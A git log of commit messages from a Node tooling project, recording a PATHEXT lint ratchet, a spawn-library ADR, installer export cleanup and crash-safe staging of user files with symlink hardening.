Epic #3411 Phase 3, the ratchet. Scope revised with maintainer approval and
recorded on the issue: the epic's literal ask was a rule rejecting a bare-name
spawn outside the seam. Surveyed at ac1b6d679, ~30 such sites exist and none is
a defect — git, gh and npm ship native .exe that CreateProcess resolves unaided,
and the rest are POSIX-only tools. ADR-1703 rules 2 and 3 forbid grandfathering
and escape hatches, so a literal rule would be unsuppressable and would force
rewriting 30 correct calls.

The epic's actual thesis was four private RESOLVERS, not four bare spawns. So
the rule flags re-implementing resolution: reading PATHEXT in any casing from
any object, and a hardcoded list carrying two or more of .exe/.cmd/.bat/.com —
precisely the shapes fallow-runner's candidateNames and gsd-tools' PATHEXT
string had before Phases 1 and 2 deleted them.

Three boundaries were arrived at rather than assumed:

  two-or-more   a single .endsWith('.cmd') is a classification, not a candidate
                set; runtime-hooks-surface derives .cmd shim paths that way
  boundary-aware  a naive substring test flags .execute and .compacting, caught
                on src/host-integration.cts before it could become a false
                positive nobody could suppress
  suffix-anchored  the seam exemption matches src/shell-command-projection.cts
                exactly; a substring match would also exempt the dispatch test
                file. Case I9 pins it.

PATH scans are deliberately NOT flagged — membership checks (bin/install.js)
are indistinguishable from resolution scans, and an unsound rule in a
zero-escape-hatch architecture is worse than no rule.

To make the ratchet strict with no carve-out, resolveExecutableBinary gained
pathOverride: search THIS PATH, read everything else including PATHEXT from the
ambient environment. resolveFallowBinary now supplies its own search path
without hand-threading PATHEXT, which would itself have been a private read.
The three alternatives were all worse: exempting the file is grandfathering,
exempting the AST shape is a carve-out every future caller must replicate, and
dropping the pass-through would silently ignore a user's real PATHEXT — buying
a lint rule with a correctness regression.

eslint-rules/** is outside the rule's globs rather than exempted, because
portability-vocab.cjs owns the extension set. scripts/**/*.cjs got its own block
so that exclusion does not leave a hole in the ratchet.

Started green with nothing suppressed. Proven able to fail: a fixture with both
signals reports two errors.

Refs #3411

* fix(#3619): close the PATHEXT destructuring evasion and correct two overclaims

Adversarial review found a trivial evasion of the rule's primary signal: the
visitor only handled MemberExpression, so

  const { PATHEXT } = process.env
  const { PATHEXT: exts } = process.env
  const { Pathext } = opts.env

were all unflagged. That is a common idiom, not an exotic bypass. An ObjectPattern
visitor now catches it in every form — renamed, any casing, any receiver, string
keys — while leaving a computed key alone, since it is not statically decidable.
I10-I13 pin the invalid forms and V9/V10 pin PATH and the computed key.

Two overclaims corrected, both mine:

Standards review proved the docs were factually wrong. Both the ADR amendment and
the CONTEXT.md entry asserted that tests/shell-command-projection-dispatch.test.cjs
is still linted by this rule. It is not — the rule's surface is src, gsd-core/bin,
scripts and hooks, and tests/** is deliberately outside it because test setup
legitimately assigns process.env.PATHEXT (fallow-runner's P3 does exactly that).
The suffix-vs-substring distinction is therefore proven by RuleTester case I9
feeding a synthetic filename, NOT by real coverage of that file. Both documents now
say so.

The rule's own docstring claimed the seam exemption matches the seam path
'exactly'. It is a suffix match, so a nested foo/src/shell-command-projection.cts
would also be exempt. Suffix matching is kept — it is how sibling rules resolve
paths and the nested case does not exist — but the docstring now states the
boundary rather than overstating the precision.

The evasion fix was verified by executing eslint against both destructuring forms
in scripts/, not by inspection. Probe: 31/31.

Refs #3411

* chore(#3619): backfill changeset pr number 3636

---------

Co-authored-by: sim <sim@local>
2026-08-18 16:40:17 -04:00
Tom Boucher
924f649f87 docs(#3625): record the spawn-library evaluation as ADR-3625 (#3632)
Spike outcome for #3625: evaluate cross-spawn / nano-spawn / execa against
the hand-rolled Windows binary resolution and cmd.exe mediation that epic
#3411 Phase 1 (PR #3621) is landing in the platform seam.

Verdict: stay hand-rolled, with revisit-if conditions recorded so the call
is not re-litigated in a future PR.

Evidence, per the issue's "Done when" list:

- Sync/async verdict per candidate. nano-spawn is async-only — settled by
  its own README, which lists "synchronous execution" among the features
  execa has and it does not. cross-spawn exposes `.sync`. execa exposes
  execaSync, which its own docs discourage.
- CVE-2024-27980 escaping verdict per candidate. None uses shell:true.
  cross-spawn independently arrives at the SAME mechanism the seam uses:
  cmd.exe /d /s /c with a pre-escaped line and windowsVerbatimArguments.
  That validates the seam's approach rather than superseding it.
- Maturity axes scored with measured data (registry metadata 2026-08-18,
  transitive footprint measured by install).

Two premises in the issue did not survive measurement, both recorded:

- The CRITICAL 167-symbol/53-file blast radius is a `direction:both`
  measurement, inflated by downstream callees. A call-shape change ripples
  to CALLERS: upstream at depth 15 is 14 symbols / 7 files, MEDIUM, and it
  terminates at depth 4. The decision does not rest on the CRITICAL figure.
- The cited vendoring precedent path does not exist; the real one is
  gsd-core/bin/lib/vendor/re2js.cjs.

Decisive against the only structurally-eligible candidate (cross-spawn):
it resolves process.cwd() first on Windows even when an explicit PATH is
supplied, calls process.chdir() during resolution, and keys escape depth on
a node_modules/.bin/*.cmd path regex of the same shape #3411 was filed to
delete. Adoption would also break execTool's observable not-found contract
across 53 dependent files.

Doc-only: docs/adr/** plus a root-level CONTEXT.md pointer. The CONTEXT.md
addition is a new line rather than an edit to the seam's glossary paragraph,
which PR #3621 rewrites wholesale — same-line edits would conflict on merge.
ADR index regenerated via scripts/gen-adr-index.cjs --write.

lint:ci exit 0; lint-docs-required and changeset/lint both run with
GITHUB_BASE_REF=next and report ok_no_user_facing_changes.

Closes #3625

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 14:24:45 -04:00
Tom Boucher
cc3fd4548d docs(#2866): reconcile ADR-3574 against the shipped environment (#3622)
The ADR was written mid-epic and describes a tree that no longer exists.

There are now two choreographies, not three: phase 6 deleted bin/install.js's
agent-staging loop and its _DESCRIPTOR_AGENTS_RUNTIMES gate outright, so the
refusal in decision 1 governs a two-way divergence.

The ADR's own revisit condition has been met. It said to reopen the
unification question when the applySurface descriptor-agents migration
completed. It has. Revisited on evidence: the shapes did not converge on the
axis that mattered, because phases 6 and 7 touched agents and exports, not the
prune. applySurface still prunes by allow-list so it cannot delete a user file
by construction; installRuntimeArtifacts still wipes and restores a snapshot.
Decision 1 stands, for a narrower and better reason than when it was written.

Records delivery status per decision, including that decision 3 was already
satisfied when measured and decision 4 was the hardest part rather than the
independent one the ADR predicted.

Notes that #2875's AC1 is now doubly stale - deliberately unmet, and naming
three call sites where two remain - so anyone reconciling the tracker treats
this ADR as governing rather than the criterion as outstanding.

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 11:44:14 -04:00
Tom Boucher
682eaae3f0 enh(#2876): retire the dead and pass-through exports from bin/install.js (#3615)
* enh(#2876): retire the dead and pass-through exports from bin/install.js

The installer exported 197 names and had zero production consumers - every
non-test require of it repo-wide sits inside a comment. Its interface was
shaped by test access, not by callers.

Removes 9 dead exports and 61 pass-throughs, repointing their tests onto the
extracted modules' own interfaces. 197 down to 127.

Every count in the issue was wrong: 197 exports not 188, 9 dead not 12, 61
pass-throughs not 49, 44 test files not 42 - and the audit itself then missed
7 more consumer files. restoreUserArtifacts was on the dead list but ceased to
exist in phase 6, and two _GSD_EFFORT_MANIFEST_* names listed as dead are now
genuinely asserted, so acting on that list would have deleted live exports.

7 of the 9 dead names collide with an independent declaration that install.js
delegates TO. Each removal was justified by which declaration a reference
resolves to, never by whether the name appears somewhere.

Coverage parity was the gate rather than test greenness: per-file counts were
captured before any edit and diffed after. 44 of 45 files are byte-identical;
the single delta is one added assertion, not a loss.

The sweep for scattered require sites found two forms static grep misses -
require(VARIABLE) and multi-line require() - plus tests asserting that
install.js re-exports the SAME object, which now assert retirement instead.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2876): close review findings — restore the duplicate-body guard, sweep orphaned code

Both review engines found real defects in the first cut.

The DEFECT.GENERATIVE-FIX single-owner guard from #1511 had been repointed
from a reference-identity check to install.X === undefined. Those are not
equivalent: the guard exists to catch a duplicate function body reintroduced
into install.js, and the replacement passes cleanly if that duplicate is used
internally and never exported. It now walks bin/install.js's real top-level
bindings, so it catches a duplicate under either shape, exported or not -
strictly stronger than the check it replaced. Proved by injecting a duplicate
and watching it go red.

That weakening survived the coverage-parity gate because the assertion count
never moved. The gate compares counts, so an assertion that changes meaning
rather than number is invisible to it.

Removing the exports had orphaned their wrapper bodies: 14 dead wrappers, 9
consts and 9 destructure entries, several pre-existing and found by the same
sweep. Dead code left in the file this phase exists to shrink.

Three more comments claimed re-exports this phase removed, and tests were
reading Cursor and Windsurf hook constants from install.js's local copy while
calling functions from the hooks surface - equal today, with nothing holding
them equal. The local consts now reference the owning module.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2876): backfill changeset pr number

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 09:23:44 -04:00
Tom Boucher
3ab0007164 enh(#2875): materialization primitives — durable user-artifact staging and descriptor-authoritative agents (#3600)
* fix(#2875): stage user artifacts durably across install wipes (#1874-F19)

preserveUserArtifacts held user files only in an in-memory Map across the
wipe, so any process death between preserve and restore lost them outright.

Seven call sites, not the four the issue records. Three of them never called
the helper at all - they open-coded the same read/wipe/write - so searching
for callers under-counted by construction; the extra sites were found by
sweeping for the pattern instead.

The worst is the mainline install path, where the crash window spans the
entire gsd-core tree copy rather than a single rmSync.

Adds src/user-artifact-staging.cts: durable on-disk staging with a record
written after the copies land as the commit point, plus recovery of orphaned
batches on the next run - without recovery the staged bytes survive but the
user's file is still gone, which would pass its own test while delivering
nothing.

Routes copyPreservingSymlink through installFs() so staging cannot bypass the
install fs seam, and reunites its symlink-safety docblock with the function it
documents.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): amend ADR-3574 with four claims disproved by implementation

Implementing Phase 6 disproved four statements the ADR rests on. The central
decision - no single materializer - is unaffected and stands.

Corrected: decision 3 was already satisfied, so nothing was extracted; the
agents-bypass runtime set omitted claude, kilo and opencode, and closing it
needed three new pieces of descriptor contract rather than proceeding on its
own terms; three of the four blockers the layout comment names were already
stale; and F19 is seven call sites, not four.

Records the generalizable lesson: the defect is the pattern of holding user
data in memory across a wipe, not the helper, so searching for callers of the
helper under-counts by construction.

Also resolves the ADR's open question on USER_OWNED_ARTIFACTS membership, and
notes that copyPreservingSymlink needed routing through the install fs seam
before it could be reused.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close dangling-symlink blind spot and harden staging recovery

An adversarial review found the F19 staging work shipped red and unsafe.

Root cause, shared by two arbitrary-write findings: hasExistingSymlinkBetween
missed dangling symlinks in both its root check and its per-segment walk,
because it probed with existsSync, which is false for a link whose target does
not exist. Fixing only the new module would have reused a guard that was
itself blind. This guard protects the whole install tree.

Recovery no longer throws: it degrades per entry and per file, so one bad
batch cannot block the others. Previously an unrecoverable entry propagated
out of the first statement of install and uninstall, before the cleanup that
would have removed it - wedging the installer permanently.

Partial fs adapters now throw on any omitted method instead of silently
reaching the real filesystem, closing the trap that let a test poison list
pass while real IO happened.

Staged names must be flat, recovery refuses a dangling destination symlink,
and a batch whose recovery genuinely failed is no longer swept - it was
discarding the only durable copy of the file it had just failed to restore.

Replaces three tests that could not fail, including the one labelled negative
proof.

Known limitation, documented not closed: concurrent installs sharing a staging
key can still lose a batch. A real fix needs a cross-process lock.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* enh(#2875): make the descriptor authoritative for the agents kind

Deletes the inline agent-staging loop in bin/install.js and the
_DESCRIPTOR_AGENTS_RUNTIMES set, so every runtime materializes agents from
its capability descriptor instead of an inline hostBehaviors dispatch.

Closing it needed three pieces of contract the descriptor pipeline never had,
all reducible to one missing input - per-agent resolution context: a
frontmatter-extensions step for claude's effort and disallowedTools, per-agent
model-override resolution for kilo and opencode, and a named branding
converter for hermes, whose rewrite data was already declared.

Seven runtimes were on the loop, not the six the design recorded - kimi-code
was found by a golden fixture, not by analysis. claude-local and kimi-code
both silently lost their agents mid-change; the fixtures caught both and the
cause was fixed rather than the fixtures regenerated.

A parity harness gates the migration: both pipelines over identical inputs,
byte-identical output including filenames, per runtime. It is demonstrated
red before being trusted. Surface and install paths converge for all seven,
which also fixes surface previously writing no agents for these runtimes.

Codex's config.toml strip stays put - it mutates host config, which no
descriptor kind models.

Also routes install-model-override-resolver and install-effort-resolver
through the install fs seam. Both leaked real filesystem IO from the install
call tree; the stricter adapter is what exposed them.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): record the agents-descriptor migration and correct the ADR count

The _DESCRIPTOR_AGENTS_RUNTIMES allow-list no longer exists, so the host
integration guide told readers to join a set that is gone. Replaces that with
what is now true - declare an agents entry and it installs, on the surface
path as well as install - and points anyone needing a per-agent transform at
the three extension points rather than at a new inline branch.

Corrects the ADR amendment: seven runtimes were on the inline loop, not six.
kimi-code was found by a golden fixture going red, not by reading. That is the
third short count this phase, all from enumerating by symbol or set membership
when the thing that matters is a behavior.

Adds the Changed changeset for the surface-path convergence.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): amend ADR-2866 - claude global always wrote agents on disk

The claude row's global=[skills] described what capability.json declared, not
what the installer wrote. bin/install.js's inline agent-staging loop was never
scope-gated and never consulted the descriptor, so a claude --global install
has always written agents/gsd-*.md.

Phase 6 closes the gap by deleting that loop and declaring agents on claude's
descriptor at global scope. On-disk bytes are unchanged - the golden fixtures
did not move, which is the evidence that the descriptor, not the installer,
was incomplete.

#2218 is unaffected: agents are not trigger-bearing, so the wider row does not
introduce a new shadowing case.

Records the warning that an incomplete descriptor is invisible while a second
code path silently does its work, and only surfaces when the two are forced
into agreement.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close review findings across staging, agents and the parity harness

Two independent reviews of this branch found defects the local gates missed.

Security: a dangling symlink at a migration destination allowed writing
outside configDir - the same class this change claimed to close, missed at the
terminal write of the flow being added. The staging-root resolver threw as the
first statement of install and uninstall, so a hostile symlink bricked both,
and symlinked-configDir users lost uninstall as well as install; it now
degrades instead of aborting. Recovery gained a source-side symlink check and
now refuses a relative destDir, which resolved against cwd. Converter dispatch
gained a runtime allowlist - lint-time validation stopped mattering once this
branch promoted that dispatch from the surface path to real installs.

Correctness: claude --local --minimal exited 1 because the minimal profile
legitimately yields zero agents and the new path treated that as a failure.
cline --local silently lost its agents - its descriptor declared none while
the deleted loop wrote them unconditionally. The agents prune was widened to
any gsd-* entry and destroyed user files it never owned.

The parity harness, on which the migration's safety argument rested, drove a
synthetic registry and never byte-compared the shipped descriptors; two of its
trap rows could not fail. It now drives the real registry across 13
runtime-scope rows including kimi-code and cline-local, and its red-proof is
demonstrated by corrupting a live capability.json. Three goldens that had
encoded the cline regression as expected behavior were corrected.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close findings from both mandated review engines

/security-review found the staging source-side walk honouring
GSD_ALLOW_SYMLINKED_DEST, an opt-in documented as relaxing only the write
destination. A symlinked files/ component dereferenced because
copyPreservingSymlink lstats the leaf only, so an intermediate link is
followed. The source walk no longer honours the opt-in; the destination check
still does.

/code-review spec axis found this branch had reintroduced its own bug:
migrateLegacyDevPreferencesToSkill's new symlink refusal threw unguarded after
the legacy dir was wiped and before the staged batch was restored, so a
planted symlink bricked uninstall permanently and orphaned the batch. Refusal
kept, abort removed.

kimi-code local silently lost its agents, the same class as the cline bug, and
the parity harness recorded that exclusion as intentional - the third test in
this branch to pin a regression as correct.

--minimal now creates an empty agents/ dir that never existed. Behaviour
restored rather than softening the changeset, so its byte-identical claim
stays true.

Standards axis: try/finally removed from twelve test bodies, fast-check
properties added for parseOwnerPid, boundary coverage at the grace window and
the ancestor-probe depth, a parity assertion for the staging-root helper
duplicated across two files, and the 8-deep config walk deduplicated.

Records 60-review.json with every finding and disposition from five passes,
including the smells left unfixed and why.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): prune stale agents unconditionally in minimal mode

The previous round stopped an empty agents/ directory being created when the
resolved profile yields no agents. That was implemented by skipping the agents
kind entirely, which also skipped its stale-agent prune - so a full to minimal
downgrade left stale gsd-* agents behind.

The deleted inline loop pruned unconditionally and only skipped writing. Those
are three separate conditions, not one: prune always, write only when there is
something to write, create the directory only when writing.

Both call sites now run _removeGsdEntries before the empty-staged early exit.
The symlink-escape guard moved with it, since the prune also touches dest.
Codex .toml agents and the config.toml stanzas are cleaned again, and
user-owned agents are still preserved.

The agents/ directory is left in place after a prune empties it, matching
every sibling kind - none of them remove the destination directory itself.

Golden fixtures confirmed byte-identical: the prune is a no-op on a fresh
install, so fixture generation is unaffected.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): document interrupted-install recovery for user-owned files

The durable-staging fix is invisible to the user it protects. Someone whose
install died mid-flight has no way to know USER-PROFILE.md was staged before
the delete, that the next run restores it, or that recovery happens at the
start of that run rather than in the background.

Written as the task the user has - finish the interrupted command - rather
than as a description of the mechanism, and states what it will not do:
overwrite a file already present, or touch staging belonging to another
install still running.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#2875): backfill changeset pr number

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* test(#2875): assert the J8 model override without building a regex

CodeQL flagged incomplete string escaping: the assertion interpolated the
override value into a RegExp while escaping only forward slashes, which is
meaningless in a constructor, leaving real metacharacters unescaped.

The failure direction was the dangerous one - a metacharacter would have made
the match more permissive, so the row would pass when it should fail. That
matters here because J8 exists precisely because an earlier revision was a
tautology; the rewrite reintroduced a different way for the same assertion to
stop discriminating.

Replaced with a line-wise exact match, so no regex is constructed at all.
Swept the other test files this branch adds; no sibling instances.

lint:ci passed on the original - lint-no-adhoc-regex-escape matches a full
metachar-escape copy, so a single slash replace slipped under it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-17 17:25:53 -04:00
Tom Boucher
8a56595700 docs(#3574): record ADR-3574 install materialization primitives (#3575)
* docs(#3574): record ADR-3574 install materialization primitives

Epic #2866 phase 6 was scoped on the premise that materializing a layout
is implemented three times and should become one module. Measured against
the tree, the premise does not hold: the three sites overlap in shape and
diverge in mechanism.

applySurface prunes by allow-list precisely so it structurally cannot
delete a user's files. installRuntimeArtifacts wipes a prefix-scoped set
and restores a snapshot. A single writer has to pick one, and picking
either trades a working guarantee for a different one.

So the ADR declines phase 6's first acceptance criterion and says why,
because the next reader who notices three similar loops should find this
file rather than rediscover the conflict. What is extracted instead is the
genuinely shared part: durable user-artifact staging for #1874-F19, reusing
the migration primitive that copies strictly before delete and never
dereferences a symlink, plus the retired-kind prune both callers already
share. The agents bypass closes on its own terms.

Two of the issue's premises were also stale: ten runtimes have already
migrated off the inline agent dispatch, and the duplication comment's
deliberate-until condition is partly met.

Closes #3574

* chore(#3574): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-16 14:19:56 -04:00